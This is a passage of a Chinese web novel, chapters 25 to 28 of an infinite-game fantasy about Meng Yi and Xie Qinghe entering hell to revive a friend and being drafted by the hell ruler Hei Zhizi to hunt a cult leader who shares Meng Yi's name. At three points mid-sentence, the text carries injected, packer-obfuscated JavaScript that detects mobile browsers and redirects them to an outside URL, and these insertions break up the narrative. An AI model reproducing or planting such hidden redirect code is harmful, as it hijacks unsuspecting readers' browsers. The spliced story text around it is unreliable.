邹格听到“朗煜”这个名字,心里一颤,多打量了买家几眼:“地狱很危险,你确定?” “确定,”戴着手套的人说,“这一届的新手玩家第一名,孟绎,你知道么。他要复活朗煜,而我是他的追随者。” 说完这句话,买家就走了。 姜乐宇脸色狰狞,深呼吸一次:“那人是谁,你认识么?” 邹格:“不认识,孟绎只是个新手,第一名又怎样,也就是个高阶学徒。买死亡状态卡的是孟绎的追随者,等级肯定比孟绎还低。” 姜乐宇咯吱咯吱咬着后槽牙:“我去找会长。” 说罢,姜乐宇又进入贤者石公会大厅,邹格去办理其他业务。 只剩下姜乐宇的女性朋友站在原地,她朝大厅里望了一眼,转身离开公会,到巷子角落处打开手机,给某人发了一条信息。 闻佳时:消息传到姜乐宇那里了。 解倾河:知道了。 回完消息,解倾河关掉手机,继续和孟绎一起吃零食,看朗煜的直播回放。 地狱副本比较特殊,没有直播,终年开启,随时可进入。并且,进入地狱时只能携带包括死亡状态卡在内的4张卡牌。 想获得更多卡牌?只能在九死一生的地狱里碰运气。 但是,只要有足够的实力,就能把其他玩家当成移动仓库。杀几个人,卡牌不就有了么? 25.欢喜地狱(1) 贤者石公会会长白异智的办公室。 他真实年龄已超过50岁,面容却似20多岁的青年,只是鬓角有不符合青年人的斑白。 白异智坐在办公桌后,左手夹着烟,无名指上的银色婚戒在暗光中偶尔闪烁。 烟头的火光照亮一小块区域。办公桌上摆着一张三人合照,白异智盯着照片中的女人和坐在轮椅里的青年,忘记掸烟灰,烟头燎烧到他的手。 “会长?” 房门被敲响,姜乐宇慢慢推开门,一点点蹭进来。 “什么事?”见到他,白异智阴沉的面色稍舒缓,难得有点笑容。 姜乐宇一个二十岁的人,竟像小孩子一般,做出一副委屈巴巴的撒娇模样:“把我打成瘫痪的那个人,也进了无限游戏……” 他将朗煜死亡、不明人购买死亡状态卡等事情一一讲述一遍。 一个新人玩家,谁愿意为了复活他,进入九死一生的地狱?白异智讶异:“邹格说没说,死亡状态卡的买家是谁?” “买家应该易容过,邹格认不出来。”姜乐宇说,“邹格只说,那人戴着一副手套。” 白异智夹着烟的左手,蓦地攥紧,烟头灼伤他的掌心,但他毫无察觉:“男的女的,多高?” “男的,178厘米左右。” 白异智将被握得变形的烟头扔进烟灰缸:“我知道了。” 姜乐宇打量数次白异智的神色,声音更加委屈:“会长,朗煜把我打成瘫痪,他不会真的复活了吧?快到我生日了,朗煜如果复活,我哪有心情庆祝。” “我不会让他得逞。”白异智望着桌上的全家福,轻声说。 姜乐宇认为,这句话里的“他”指的是朗煜,眼睛亮了亮。 但白异智所说的“他”,指的是解倾河。 4年前的夏天,白异智载着家人自驾游时,出了车祸,他和妻子没受重伤,但他17岁的儿子高位截瘫。儿子才考上重点大学,过了暑假就去报道。 美满的家庭毁于一旦,白异智那时希望世上真的有神、鬼、巫妖、恶魔,什么都好,只要能让儿子恢复健康。 解倾河出现了,他面带微笑地说,只要来到提尔纳诺恪,就能让白异智的儿子恢复健康。 白异智相信了,他来到提尔纳诺恪,每半个月就要进入一次副本,面临无数生命威胁。还没获得可以让儿子恢复健康的道具,先丢了工作,失去所有收入。因为压力过大,脾气愈发暴躁。 那时,白异智的儿子从前途无量的优等生,一夜之间变成瘫痪,过大的落差让他无法接受,他拒绝康复治疗,拒绝同学和亲属的捐款,在白异智给他换纸尿裤时疯了一样吼叫。 给儿子换纸尿裤时,白异智刚离开副本,他……他扇了儿子一巴掌,大吼:你这样的废物还不如当初被撞死。 第二天,儿子坠楼死亡。妻子与他离婚。 白异智盯着合照,恍惚间,照片中的人全部消失,变成解倾河温和的笑颜。 他的儿子,和姜乐宇同年同月同日生,也在同一年瘫痪。 “我会杀了他。”白异智抚摸镜心,颤抖的拇指,按碎了玻璃。 姜乐宇以为“他”指的是朗煜:“会长,我和你一起去,我也要向他报仇。” * 坐了两天两夜的冥河摆渡船,孟绎和解倾河到达地狱边境。 船停靠在瀑布边缘,下方是无尽的虚空,从这里跳下去,就会到达地狱。 “地狱很大,我们会落在哪里,我也不确定。”解倾河扯着手套,“小孟,你是幸运F对吧。” 孟绎点点头。 “我也是。”解倾河说,“我想我们的开局不会太好。” 说罢,二人攀上渡船的围栏,抓住彼此的胳膊,沿着水流,跳到瀑布之下。 …… 失重的眩晕感往往会令人头脑模糊,但孟绎没有,他睁着眼,冷风一下一下地划着他的眼球,他一次也没有眨眼。 孟绎在思考一个严肃的问题:既然死在无限游戏的人,灵魂都会进入地狱,随时间增长而逐渐消散。那么,他作为奈落珈时,杀了那么多人,地狱里得有多少他的老熟人? 幸好,亡魂神志不清,他们未必能认出孟绎。 哗啦、哗啦两声,孟绎和解倾河砸在一团坚硬的东西上,爬起来一看,竟然是垃圾堆。 【欢迎来到地狱】 【您自由了】 眼前出现一个倒计时:1:59:45 两小时后,死亡状态卡会失效,他们必须在这段时间内,找到【彼岸花】,延长状态卡的时效。 解倾河先爬了起来,他有些嫌弃地拍了拍衣襟,又扯了一下手套,将脚边的一只坩埚踢开。 “回收站,”解倾河说,“死在地狱里的活人,道具无人取走,时间久了,被怨气侵蚀,无法使用,就堆在这里。” 废弃道具堆成一座小山,可以想见,上百年间,有多少人死在地狱里。 孟绎站在垃圾山头,向四周眺望。这里终年黑夜,暗红色的星星在天幕上跳来跳去,如一只只烦躁不安的、恶毒的眼睛。 灰雾缭绕,空气如胶体般黏腻。垃圾场一望无际,类似孟绎脚下这样的垃圾山,还有十几座。数百个半透明白色的虚影,在垃圾山之间游荡。那些白色影子,就是亡魂。 透过雾气望去,不远处有一座监狱似的庞大建筑,如山体般伫立在平原之上。那座建筑就是地府。 正观察环境,地府的金属高墙之上,红色信号灯接连亮起,刺耳的警报声传出很远。 听到警报的白色亡魂发出尖啸,他们死死捂着耳朵,身影如出了故障般,不停闪烁。 孟绎并未在意警报声,他再倒霉,也不会刚进入副本,什么都没做,只是往周围看了几眼,就被地府里的怪物盯上了。 他跟着解倾河爬下垃圾山,这时,监狱里的沉重铁门轰隆一声打开,数十个身披黑袍的人列成两队,飘了出来。 孟绎捏着袖子,不满地看着袖口刺绣被勾出来的线头。 那两队黑袍人,无声地向孟绎靠拢。 孟绎感觉有点不对劲了,他茫然地瞧着向他聚拢的人,解倾河则张开右手呈虎爪状,掌心中凭空出现一个线团,缠绕他的五指。 “呵,又有活人进来了啊。”打头的黑袍小女生说,她伸出一米多长的分叉舌头,舔了一下解倾河的脸颊。她的舌头上刺着荧光绿的纹身。 黑袍小男孩十指交握放在腹部前面,板着一张脸,老气横秋地说:“我们本不愿意打扰你们这些活人,只要你们的死亡状态卡完好,我们可以睁一只眼闭一只眼。” “但他不行。他是地狱的通缉犯,他必须死。”小女孩用舌尖指了指孟绎,“你既然是和他一起来的,你也得死。”她又用舌尖舔了一口解倾河。 说罢,飘浮移动的黑袍人,凭空取出叮当作响的枷锁,就要往孟绎身上戴。 在他们冰凉黏腻的皮肤碰到孟绎的胳膊前,孟绎忽地闪身,单手抓向一人的脖子,将要把他们的脑袋扭下来…… 手掌虚虚地穿过那人的脖子,没造成一点伤害。 黑袍人僵硬地抬起头,青黑半腐烂的皮肤上,一双阴气森森的死鱼眼,默然盯着孟绎。 小男孩波澜不惊的语气:“孟绎,你想做什么,杀人?” 小女孩咯咯笑起来:“这里是地狱啊,孟绎,我们早就死了。死人怎么能再死一次呢?” 闻言,解倾河与孟绎惊讶地对视一眼。 最让他们惊讶的,倒不是开局被地府围堵,也不是无法对黑袍人造成伤害,而是……小男孩和小女孩为何知道“孟绎”这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604066|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字? 奈落珈是地狱的通缉犯,还可以有多种解释。孟绎只是新人玩家,他的名字何时传到地狱里来了? 地狱长期与提尔纳诺恪十三洲隔绝,这里可没有副本、直播、排行榜。按理来说,他们连奈落珈是谁都未必知道,万相也只是“隔壁群岛的领袖”,他们怎会知道孟绎? 来不及多想,解倾河掌心的线团散开,缠住所有黑袍人的脖子,狠狠一勒。 解倾河早做了准备,寻常武器无法伤害地狱里的秘术师,这是针对死者定制的武器【生死线】 死人无法再死一次,但可以通过攻击,遏制他们的行动。 被生死线缠住的秘术师鬼魂,触电一般抽搐。孟绎和解倾河趁机逃跑。 女童扯掉生死线,凶残地咆哮一声,黑袍鼓起,阴风阵阵吹拂,眨眼之间,她的身体数倍膨胀,化作一条数百米长的九头蛇。 蛇吻在孟绎头顶张开,九颗脑袋连在一起,遮天蔽日。毒牙滴下的涎液,转瞬间将土壤腐蚀成青黑色。 孟绎躲开毒液,认准时机,翻身一跃,两腿缠住九头蛇的脖子,食指和中指的指缝间,闪过一丝银光。 他手指夹着那根细针,往九头蛇的眼睛里一刺。 这根针是阴阳针,和生死线一样,专为死者定制。女童顿时觉得眼前一片刺目的白光,九颗脑袋一起蜷缩起来,慌张躲避这对死者来说,过于强烈的光线。 背后,男童一直站在原地没动。他啧了一声,一直十指交叉紧握的双手,缓缓张开,在空中画了个圆。 一轮圆盘时钟出现,三根指针停在12点。他手掌上,有一道细长的荧光绿纹身,从中指指尖蔓延至手腕处。 纹身与指针重合,黑袍小男孩的手掌逆时针转了两圈。 死神时钟。可以加快或放慢某人的速度,最大倍率24倍。 孟绎顿时感觉自身的行动变得无比缓慢,眼前的一切都被加速,他极佳的动态视觉消失,运动的物体一片模糊。 在他人眼中,孟绎和解倾河的速度被24倍慢放。 黑袍人手持枷锁,迅速将二人脸朝下按在地上。 有点烦。孟绎心想。 本以为地狱里最大的麻烦,是其他活人玩家,至于地府里的工作人员,他们躲着走就好。不曾想,孟绎竟是地府通缉犯(而孟绎对此毫不知情),开局就被地府的人缠上。他们没准备太多针对亡魂的武器。 想脱离这次麻烦,必须用点手段了。 孟绎的眼睛向上翻,眼球转了180度,全黑的那一面翻出来,黑气从眼眶、耳道、鼻孔、口腔里逸出。 “先别动。”解倾河的声音在大脑中响起。 地狱地图比较大,二人难免有走散的时候。解倾河做了一对最高级的传音耳线。覆盖范围1000米,还可以直接用心声交流。 此刻,解倾河被按在地上,两个人给他上手铐。他的嘴唇一动不动,但声音能清晰地传到孟绎脑中。 “他们竟知道孟绎这个名字,此事大有蹊跷。”解倾河继续说,“既然被捉住,不如跟他们走,说不定有发现。” 有道理。孟绎的眼睛又翻下来,一切如故。 二人被反铐了双手,带上脚镣。枷锁透着刺骨的寒意,孟绎顿时感觉他的身份卡被冻结,无法使用任何技能与道具。 令人欣慰的是,死亡状态卡的倒计时也被冻结,停在1:45:27 “带回去,”罪男说,双掌在胸前一拍,死神时钟消失,“黑蛭子大人等你很久了。” 刑女又变回女童的模样,她拔出眼中的阴阳针,扔在地上,用力踩了两脚,气得朝孟绎哈气。 孟绎没理他们。在所有人看不到的地方、衣服的掩盖下,缠绕于孟绎肩膀、胸口、腰际的金鳞游龙纹身正逐渐消失,被光滑的皮肤掩盖。 26.欢喜地狱(2) 孟绎被他们押送至地狱监狱时,在心中回忆着“孟绎”这个名字的来历。 秘术师都有信仰刺青,孟绎也不例外,只不过,孟绎的刺青只覆盖肩胛骨、前胸、腰腹。孟绎又没有脱了上衣展示肌肉的爱好,因此,大部分人没见过孟绎的刺青。 作为最终BOSS奈落珈时,孟绎有一个小爱好:泡热水澡。 大概在七年前的一天,他在温泉池蒸腾的水汽中享受得眯起眼睛。 泡到热水,金鳞游龙也很开心,摇头摆尾,在奈落珈的皮肤上缓缓游动。 作为高阶秘术师,刺青自然也高级。奈落珈的纹身会动。 这时,奈落珈听到草丛中有人大喊: “金鳞游龙纹身?” 奈落珈倏地睁开眼,与一位玩家对视。奈落珈一时间竟不知道应该先杀了玩家,还是先把自己的身体遮住。 玩家从草丛中走出来,眼睛始终盯着奈落珈的纹身,直到奈落珈用毛巾遮住身体。 “你是孟绎?”玩家问。 奈落珈:“什么梦呓?” 玩家用温泉池旁的鹅卵石摆出“孟绎”二字,奈落珈注意到,玩家两只手掌的掌心,各有一只眼睛纹身。 摆完“孟绎”这个名字,玩家叹了口气:“你不记得了么?我还以为你死了。” 奈落珈成为最终BOSS前的记忆,全部被万相抹除,但奈落珈看得出来,这位玩家对游戏的了解比他这位最终BOSS多。 “孟绎是什么人?”奈落珈问,“你为什么认为我是孟绎?因为金鳞游龙纹身么?” “是的,孟绎有这条金鳞游龙纹身。”玩家吐出舌头,舌面上一个红叉舌钉。 玩家:“至于孟绎是什么人,我不能说。” 奈落珈也没办法接着问,因为这时,万相察觉到异常,祂命令奈落珈离开温泉池。 玩家没活到直面BOSS的那一刻,奈落珈感觉有点可惜。 后来,奈落珈离开了提尔纳诺恪,需要给自己取一个普通的名字时,他使用了“孟绎”这两个字。 …… 回忆结束,孟绎被带到牢房。 “我这就去禀报黑蛭子大人,”刑女恶狠狠地说,“你的死期到了。” 孟绎和解倾河被关进同一间牢房,那群鬼魂一挥手,锁链哗啦啦地自动缠绕栅栏门。 解倾河投来询问的目光,孟绎则回以茫然的眼神。 二人正搞不清楚情况时,隔壁牢房的人听到声音,手脚并用地爬过来,抓着铁栏杆大吼:“冤枉啊,我这副样子是被贤者石公会的畜生害的,放了我吧!” 罪男刑女并不理会,给孟绎的牢房上了锁,径直离开。 孟绎靠着栏杆,向隔壁牢房望去,只见一个皮肤焦黑、双目全白的人,死死攥着栏杆,涕泪横流。 “你怎么了?”解倾河问,他一开口,分明是女性的声音。 解倾河是万人恨,偶尔会遇到必须隐藏身份的情况,易容和伪音对解倾河来说,是必备技能。 瞎子全白的双目,望着解倾河的方向,果然什么也没发现:“我是提尔纳诺恪的玩家啊!因私人恩怨,被贤者石公会的人扔进地狱。” “我逃命时,被烈火烧成这副模样,但他们非说我是邪.教徒,受了邪术,变成这副模样,把我抓了起来。我信什么邪.教啊,我只想活下去!” 孟绎没说什么,他作为副本BOSS时,偶尔被万相叫去处理“邪.教徒”。 万相口中的“邪.教徒”,确实是这位玩家的模样:全身被烧焦,双目失明。 至于邪.教徒信奉哪位神祇,为什么是邪.教,孟绎从来没问过。被迫加班就很烦了,早点干完活回卧室里绣花,问那么多干什么。 “我叫白学立,”那人哭哭啼啼地说,“如果我死在这儿,你们能不能把我的名字带出去?” 解倾河仍用女人的声音说:“我们也生死未卜呀。” “哦……也是啊……你们也被关起来了……”白学立继续哭。 隔了一会儿,解倾河试探地问:“他们也说我是邪.教徒,还问我和什么孟……” 话到此处,解倾河恰到好处地停下。 如果白学立被关进监狱之前,听到过“孟绎”的名字,此刻一定能反应过来。 令人惊喜的是,白学立真的有反应:“他们也这样问我了,他们问我认不认识孟绎。” “正是这个问题,”解倾河说,“孟绎是谁?” 白学立哀嚎一声:“我他妈根本不认识孟绎啊!什么梦呓梦魇!我这辈子就没认识过姓孟的人!” 解倾河和孟绎交换了一个眼色,随后,他发出幽咽哀怨的啜泣声,脸上的表情却丝毫不变:“我好冤啊……” 假哭了一会儿,解倾河收声,用原本的声音对孟绎说:“你和邪.教徒有关系?” 孟绎:“我什么都不知道。” 二人在牢房里等待了好一会儿,罪男刑女又来了:“黑蛭子大人有请。” 一群人又把孟绎和解倾河带到审讯室,将他们锁在椅子上。 轰隆一声,椅子下方的地板像活板门一样开启,孟绎随椅子笔直地掉下去。 椅子下方3米处,是咕咚咕咚冒泡的泥沼,偶尔吐出一根青黑的骸骨。 孟绎和解倾河之间,有一面墙隔着,他看不到解倾河那边的情况。 “食肉泥沼,”一个阴湿、黏腻的声音响起,“碰到这片泥沼的人……” 一条人类的胳膊从阴影中扔出来,掉进泥沼中,污泥仿佛有生命似的,咯吱咯吱把血肉吃得一干二净,只剩一块白骨。 孟绎抬头一看,他的对面,正是罪男刑女口中的“黑蛭子”。 黑蛭子面容阴郁、眼下两团乌青,一副积病成疾,体虚气短的模样。 他穿一身铁锈绿的东方古典长袍,像一条蛰伏已久的毒蟒。银色长发披散,几缕编成小辫子,搭在扶手上的两只手,指甲青黑,愈发衬得他肤色苍白病态。 黑蛭子的银发后面,好像还戴着什么发饰,有两个骨白的尖角突出来,从正前方就能看到,像小小的恶魔犄角。 “你还敢来地狱啊……孟绎。”黑蛭子的声音有气无力,整个人也像没骨头似的靠在椅子里,这让孟绎怀疑,他就算掉进食肉泥沼里,寿命也比黑蛭子长一点。 孟绎:“为什么捉我?” “呵,装傻充愣对老朽没有用。”黑蛭子扬起嘴角,做了个冷笑的模样,“需要老朽帮你回忆一下么?” 孟绎诚恳地回答:“需要。” 真的需要,他现在完全搞不清楚情况。 黑蛭子冷笑一声,慢吞吞地从衣袖里拿出一只黑贝壳,撬开那只贝壳,里面是几粒小拇指指甲盖大小的红色药碗。 他捻起一颗,送入口中。 刹那间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650825|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟绎感受到一种危险的气息,这气息发出明确的警示:以孟绎现在的力量,不足以与黑蛭子抗衡。 “那老朽就帮你回忆一下。”黑蛭子的声音没那么虚无缥缈了,他的脑袋忽然转了一百八十度,后脑勺朝向孟绎。 而黑蛭子的后脑,戴了一张赤红色的厉鬼面具,下牙槽的獠牙格外长,一直翘到头顶,正面看到的“头饰”,正是这两颗獠牙。 电光火石间,黑蛭子的脖子伸出十多米长,赤红厉鬼面具凑到孟绎面前,张口咆哮,吐出一团暗红的火焰。 火光中,孟绎看到这样一幕:一个和孟绎长得一模一样的人赤.裸上身,被成百上千个皮肤焦黑、双目全白、枯槁如活尸的人簇拥。 金鳞游龙刺青忽地一颤,腾空而起,朝奔流的江面咆哮。龙口中迸射万根金针,转瞬间就将一道跨江大桥轰成粉末。 在桥上排队的人,如雨点般落入水中,被河水浸泡后,原本有血有肉的人,全都变成白色灵魂,茫然地在空中飘荡。 火焰熄灭,画面消失。 赤红厉鬼面具低声怒吼:“想起来了么?” 孟绎依旧真诚地说:“没有。” 金鳞龙刺青腾空,向地面吐金针,这确实是孟绎作为副本BOSS时的技能,但孟绎没有展示上半身的习惯。 “你毁了寒川桥!”黑蛭子咆哮,“死者过不了桥,坠入寒川,化为幽魂,在地狱中游荡,永世不得超生!” 孟绎怔了怔:“我为什么要毁掉寒川桥?” “因为你像一片贪得无厌的沼泽,”黑蛭子说,“你希望整个世界都像你一样,黑暗、危险、未知。你要吞噬一切,将世界埋入永不得见天日的污泥之下。” 黑蛭子的脖子又缩了回去,脑袋一转,病恹恹的苍白面孔对着孟绎,声音再次虚无: “你想将世界复原为一片混沌。” “像盘古未劈开天地前……那样的混沌,只有黑暗……虚无……” 孟绎不认为他自己有过这种想法,让世界变成一片虚无,对他有什么好处? “我失忆了,”孟绎据实以告,因为他除了实话实说,也没有别的对策,“我不记得一百一十八年前的任何事,因为我……” 一句话还没说完,黑蛭子倏地抬起眼,阴沉沉地盯着他:“一百一十八年前?” “是的。”孟绎回答,“一百一十八年前,我成为驻守王舍城的奈落珈,在此之前的事,我一件也不记得。我甚至不确定,奈落珈和孟绎是不是我真正的名字。” 黑蛭子没回话,只盯着孟绎看。他盯着人时,眼睛一眨不眨,眼珠不动,胸口也没有呼吸的起伏,仿佛已经死了。 正当孟绎认为黑蛭子忽然猝死时,黑蛭子又开腔了:“你说你是奈落珈?” “你不知道么?”孟绎问。 黑蛭子并不回答:“怎么证明?” 孟绎:“松开锁链。” 黑蛭子咳嗽两声,挥了挥手,缠住孟绎的锁链真的松开了。孟绎从腰间的金鳞龙纹身中,抽出奈落珈的身份卡。 他两根手指夹着身份卡,甩向黑蛭子。 接住卡牌后,黑蛭子看了很久很久,一句话也没说。 孟绎知道,事情有点不对劲了。 “这不可能。”黑蛭子抬起那双狭长的狐狸眼,盯着孟绎的目光中带着审视。 黑蛭子:“你毁掉寒川桥,是三十年前。” 27.欢喜地狱(3) 孟绎可以肯定,他成为奈落珈后,记忆没有缺失。 他也可以肯定,毁掉寒川桥的“孟绎”,不是他本人,因为他在成为新人玩家之前,压根不知道提尔纳诺恪附近有个地狱。 “或许,视频是伪造的。”孟绎说。 黑蛭子阴沉沉道:“这是寒川桥的【走马灯】,不可能伪造。” 二人陷入沉默。 “或许,这个人伪装成我的模样,栽赃陷害我。”孟绎说。 黑蛭子:“他连你的金鳞游龙纹身也一起伪造了?谁有这种能力?” 二人再次陷入沉默。 金鳞游龙纹身,就连万相也无法复制。万相也觉得这个纹身很帅,想给其他秘术师刺一个,然而,这纹身刺在别人身上,鳞片不会隐约闪烁金光,也不会动。 “老朽要抓的人,是毁掉寒川桥的孟绎,”黑蛭子支着额头,一副重病虚弱、昏昏欲睡的模样,“至于你,奈落珈,你为什么离开王舍城,为什么成为新人玩家,与老朽无关。” “老朽只需要你,找到孟绎。”黑蛭子说。 孟绎心想,我与这些事完全无关,你要找邪恶孟绎,你自己去,差遣我干什么? 黑蛭子作为地狱的首领,固然强大,但谁还不是个终极BOSS了? “这三十年间,老朽从未停止过追捕孟绎,”黑蛭子长长叹了口气,“但老朽手下,均是鬼使鬼吏,气息与活人不同,行动总是胎死腹中。” “你是活人,你可以潜入邪.教徒群体,找到孟绎的下落。” 黑蛭子:“你可以拒绝。地狱虽不归万相管辖,但老朽也不愿开罪奈落珈。老朽会把你和你的朋友遣送回提尔纳诺恪。你也无法再进入地狱。” 孟绎进入地狱,是为了让朗煜复活,如果被赶出去了,朗煜怎么办?孟绎不是很愿意。 见孟绎的表情松动,黑蛭子继续问:“阁下有所顾虑?老朽还没问过呢,你为什么来地狱?” 孟绎将朗煜一事告知,黑蛭子听完,扬起疲惫的微笑:“如果你找到那一位的下落,老朽自会把朗煜送回阳间,老朽还能赐予朗煜生人无法拥有的力量。” 这番话,正中孟绎下怀。 此外,孟绎对“邪恶孟绎”也很好奇,地狱里竟有一个和他长得一模一样,技能也相似的“孟绎”。 就算没有黑蛭子这些事,孟绎也想见一见“邪恶孟绎”。 “我同意。”孟绎说,“告诉我更多关于邪恶孟绎的事。” 黑蛭子一挥手,悬在食肉沼泽上的椅子,带着孟绎,飘到黑蛭子面前。 二人面对面坐着,黑蛭子摇摇头:“他啊……” 在黑蛭子的叙述中,另一个“孟绎”是【天毒教】的教主,他自称是太阳神【天毒·阿赞】的转世。 半世纪前,天毒孟绎来到地狱,招募教众十万,毁掉寒川桥后,天毒孟绎依然没有离开地狱。 天毒孟绎的目标,不只是一座小小的寒川桥,他想毁掉整座地狱,令世间没有死亡。 那时,死者不会腐烂,而是继续生长、畸变、成为怪物,创造更多的死者,进而引发整个世界的混乱。 天毒教的高级信众,面见过天毒孟绎后,均受烈火焚身之礼,双目全白,皮肤焦黑。 “所以,你认为白学立是天毒教的高阶信徒?”孟绎问。 黑蛭子认真回忆片刻:“哦,他自称是普通玩家。但老朽的原则是宁可错杀,不能放过。地狱里本来就应该只有死人。” 孟绎思忖片刻:“我想和白学立谈一谈。” 白学立的外貌和天毒教高阶教徒相似,有他在,或许,潜入天毒教内部会更容易一些。 半小时后,孟绎和解倾河再次来到白学立的牢房前。 听到脚步声,白学立连滚带爬地扑过来,两手死死握着铁栏杆:“大人!我冤枉啊!我只是个普通玩家!” 黑蛭子咳嗽两声,慢吞吞地从袖口中摸出一把尖刀,对准白学立的眼睛就刺。 白学立还在喊冤,躲也没躲。看起来是真瞎了。 “天毒教信众虽双目全白,失去视觉,但他们有另一种感知方式,能敏锐察觉到危险,”黑蛭子又咳嗽两声,“他或许真是被冤枉的。” “我冤枉啊!我冤枉!”白学立急忙大喊,“放了我吧!” 解倾河用女人的声音说:“你是玩家,那把你的身份卡给我们看看。” 白学立慌忙拿出身份卡,双手捧起。 解倾河接过身份卡一瞧,竟是一张金卡,等级是大宗师。 无限游戏玩家的身份卡等级,共分为十二等。 初阶:杂役、学徒、进阶学徒。 中阶:炼金术师/缝纫术师、精英炼金术师/缝纫术师、首席炼金术师/缝纫术师 高阶:宗师、大宗师、命运宗师。 大宗师等级的身份卡,仅次于命运宗师。 能达到大宗师等级的玩家,多数天梯榜前百名。解倾河回忆良久,不记得天梯榜有白学立这个名字。 解倾河用一口流畅的秘术师语言,对孟绎说:“他的等级比我还高呢。我只是宗师。” 孟绎有点惊讶,解倾河还会秘术语? 秘术语类似外界的拉丁语,曾是文明的载体,在历史中的地位举足轻重,今日早已绝迹,只有在祭祀、祈祷等大型宗教活动中才会使用。 “你只是宗师?”孟绎也用秘术语回答,“那你怎么打到王舍城的?” 黑蛭子有些茫然:“您二位,叽里咕噜说什么呢?” 解倾河:“挑战你时,我是命运宗师。被你击败后连降两级,现在只是宗师。天梯排行从第四名掉到第九十八名。” “这样啊,”孟绎有点尴尬,“对不起哦。” 黑蛭子:“二位?” “方言。”解倾河一笑,将身份卡还给白学立,“放白学立出来吧,他或许对我们的行动有帮助。” 黑蛭子沉吟片刻,点头同意。 他作为地狱的首领,不会把一个小小凡人信徒放在眼里,杀天毒教徒,只为泄愤。 如果白学立不是教徒,还能帮助他找到天毒孟绎的行踪,黑蛭子也没有非杀他不可的理由。 “白学立,老朽已派人把守地狱出口,你若找不到天毒孟绎的下落,企图逃走,老朽定让你魂飞魄散。”黑蛭子说。 解倾河心想:黑蛭子顾及体面,不会直接对孟绎放狠话,对白学立所说的这句话,正是敲打他和孟绎呢。 地狱出口被封锁,解倾河和孟绎若试图逃离,结局和白学立一样,魂飞魄散。 黑蛭子亲自送他们三个离开监狱,告别时,送给他们三瓶水滴状的玻璃瓶。 “这是通灵滴露,滴到眼睛里,老朽在通灵镜中,能见诸位所见,”黑蛭子袖手道,“诸位若遇到天毒教教徒,勿忘使用滴露,让老朽瞧一瞧,天毒教到底在唱哪一出戏。” 刑女似乎仍记恨着孟绎刺她眼睛的那一针,瘪着嘴,不情不愿地往他们三人怀中,各塞了两朵彼岸花。 “黑蛭子的赏赐,收着吧,”刑女恶声恶气道,“你们这些活人,把地狱当卧室呢,没完没了地来,地狱的彼岸花都快被你们薅秃了,我们只有这些。” 一朵彼岸花,能将死亡状态卡的有效时长延长两小时。 他们现在有不到6小时的时间,肯定不够用,潜入天毒教的同时,还要寻找彼岸花。 “大人,您行行好,”白学立对着空气说,“我这眼睛…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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地狱的面积相当于一座大型城市,只是跑图就要花一段时间,幸好,鬼街离监狱不远。 一小时后,三人来到鬼街。 鬼街的建筑,和古镇景区的步行街很像,只是被层层雾气笼罩,看着鬼气森森。 人流熙攘,大多数玩家恨不得跪地哀求鬼街商贩低价卖给他们一朵彼岸花,或是其他有用的道具。 每隔数十米,就能看到有人倒在地上,七窍流血,暴毙。这是死亡状态卡破碎了。 行人从尸体上踩过去,仿佛他们只是地砖。 三人转了一会儿,没见到天毒教信徒。 “或许,我们应该分头行动。”解倾河说,“哄骗人加入不明组织这件事,我有经验。落单的人更容易得手。” 孟绎认为有道理,他和解倾河各走一条岔路,没走出多远,身后有人说:“那个……” 回头一看,竟然是白学立。 “你应该走另一条岔路。”孟绎说。 白学立局促地把烧焦的双手往袖子里缩:“但是,我害怕。我想跟着你。” 孟绎:“……你是大宗师,我只是进阶学徒。你想找一个人跟着,也应该去找解倾河。” “额,是、是么,你是进阶学徒?”白学立那只有视力的白眼球转动着,惊讶地打量孟绎。 他看起来就像个大佬,怎么只是进阶学徒? 白学立刚要走,有个人面带微笑地凑到孟绎身边。 “小帅哥,怎么进入地狱了呢?”那个女人笑眯眯的,看着很和善,像乐于助人的义工。 忽然来搭讪的人,很可能就是天毒教的传教士。 孟绎说:“我被仇人扔进来的。” “我也是呀。”女人叹了口气,“我们成立了一个互助组织,你有没有兴趣了解一下呢?” 28.欢喜地狱(4) 那女人看着和善、亲切,毫无攻击性,却给人不舒服的感觉。或许是她说话时,和孟绎贴得太近了。 孟绎没有立刻同意,而是问:“什么样的互助组织?” 面善的女人说:“这里是地狱,没有彼岸花就会魂飞魄散。我们的互助会可以稳定提供彼岸花。” 孟绎心想:怪不得天毒孟绎可以在短短数年间招募十数万信众,地狱里,彼岸花就是续命药。掌握了彼岸花,地狱里的活人,不想信也得信了。 但孟绎还没有同意,他伪装出路人应有的警惕心:“你们为什么要帮我?我只是个低级玩家。” “正因为你是低级玩家,我们才要帮你啊,”女人一笑,细长的眼睛眯成缝,“互助组织里的很多人,包括我,都是在游戏初期得罪了老玩家,被扔进地狱里的。因为互助会,我才能活到现在。” 孟绎装模作样地思考片刻,点头同意。 女人带着孟绎和白学立,七拐八拐地在鬼街穿行,走入一条荒凉的小巷子里。 孟绎见女人始终走在他前面,悄悄拿出通灵滴露,迅速滴了两滴。 “我叫桑槿,”女人忽地转过头,笑呵呵地望着白学立,“这位是?” 